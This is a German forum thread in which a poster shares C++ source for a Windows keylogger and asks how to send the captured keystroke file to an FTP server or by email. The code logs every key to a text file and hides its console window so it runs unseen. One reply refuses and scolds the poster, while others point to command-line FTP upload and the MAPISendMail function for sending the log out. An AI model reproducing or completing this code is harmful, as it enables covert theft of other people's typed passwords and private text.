Textdatei an E-Mail oder FTP-Server senden
-
Ich habe hier einen Code der die Tastatureingaben in eine Textdatei schreibt. Aber ich möchte dass das Programm diese Datei an einen FTP-Server oder E-Mail schickt. Habe schon so viel ausprobiert aber nichts hat funktioniert...

#include <iostream> #include <windows.h> #include <winuser.h> using namespace std; int Save (int key_stroke, char *file); void Stealth(); int main() { Stealth(); char i; while (1) { for(i = 8; i <= 190; i++) { if (GetAsyncKeyState(i) == -32767) Save (i,"Datei.txt"); } } system ("PAUSE"); return 0; } int Save (int key_stroke, char *file) { if ( (key_stroke == 1) || (key_stroke == 2) ) return 0; FILE *OUTPUT_FILE; OUTPUT_FILE = fopen(file, "a+"); cout << key_stroke << endl; if (key_stroke == 8) fprintf(OUTPUT_FILE, "%s", "[Backspace]"); else if (key_stroke == 13) fprintf(OUTPUT_FILE, "%s", "\n"); else if (key_stroke == 32) fprintf(OUTPUT_FILE, "%s", " "); else if (key_stroke == VK_TAB) fprintf(OUTPUT_FILE, "%s", "[Tab]"); else if (key_stroke == VK_SHIFT) fprintf(OUTPUT_FILE, "%s", "[Shift]"); else if (key_stroke == VK_CONTROL) fprintf(OUTPUT_FILE, "%s", "[Control]"); else if (key_stroke == VK_END) fprintf(OUTPUT_FILE, "%s", "[End]"); else if (key_stroke == VK_HOME) fprintf(OUTPUT_FILE, "%s", "[Home]"); else if (key_stroke == VK_LEFT) fprintf(OUTPUT_FILE, "%s", "[Left]"); else if (key_stroke == VK_UP) fprintf(OUTPUT_FILE, "%s", "[Up]"); else if (key_stroke == VK_RIGHT) fprintf(OUTPUT_FILE, "%s", "[Right]"); else if (key_stroke == VK_DOWN) fprintf(OUTPUT_FILE, "%s", "[Down]"); else if (key_stroke == VK_MENU) fprintf(OUTPUT_FILE, "%s", "[Alt]"); else if (key_stroke == VK_CAPITAL) fprintf(OUTPUT_FILE, "%s", "[Caps Lock]"); else if (key_stroke == 190 || key_stroke == 110) fprintf(OUTPUT_FILE, "%s", "."); else fprintf(OUTPUT_FILE, "%s", &key_stroke); fclose (OUTPUT_FILE); return 0; } void Stealth() { HWND Stealth; AllocConsole(); Stealth = FindWindowA("ConsoleWindowClass", NULL); ShowWindow(Stealth,0); }
-
willst du denn rest des keylogger auch gleich noch serviert bekommen, oder nur den teil mit den sockets?
elendes scriptkiddy.
-
Man bist du nett... Es gibt Leute die nicht so viel über C++ wissen. Tut mir echt leid... Könntest ein bischen netter sein.
-
ich bin nicht so unnett weil du anfänger bist. es geht darum, dass du ein keylogger-programmierendes skriptkiddy bist.
wenn du programmieren lernen willst, fang mit was vernünftigem an. für so einen möchtegernhacker-scheiß wirst du hier kaum hilfe erhalten. dafür bist du hier falsch. das erlaube ich mir mal einfach so zu behaupten.
-
1337 h4x0r schrieb:
ich bin nicht so unnett weil du anfänger bist. es geht darum, dass du ein keylogger-programmierendes skriptkiddy bist.
wenn du programmieren lernen willst, fang mit was vernünftigem an. für so einen möchtegernhacker-scheiß wirst du hier kaum hilfe erhalten. dafür bist du hier falsch. das erlaube ich mir mal einfach so zu behaupten.
Mach'n Kopp zu.
@TE:
Der, für dich wohl, einfachste Weg, wäre ein simpler Upload über die Konsole:
http://www.tburke.net/info/misc/cmdline-ftp.htm
-
also ich meine natürlich kompetente hilfe.
-
Mails verschicken ganz du relativ easy über die Windows-Mapi Funktion MAPISendMail.
Beschreibung der Funktion:
http://msdn.microsoft.com/en-us/library/windows/desktop/dd296721(v=vs.85).aspx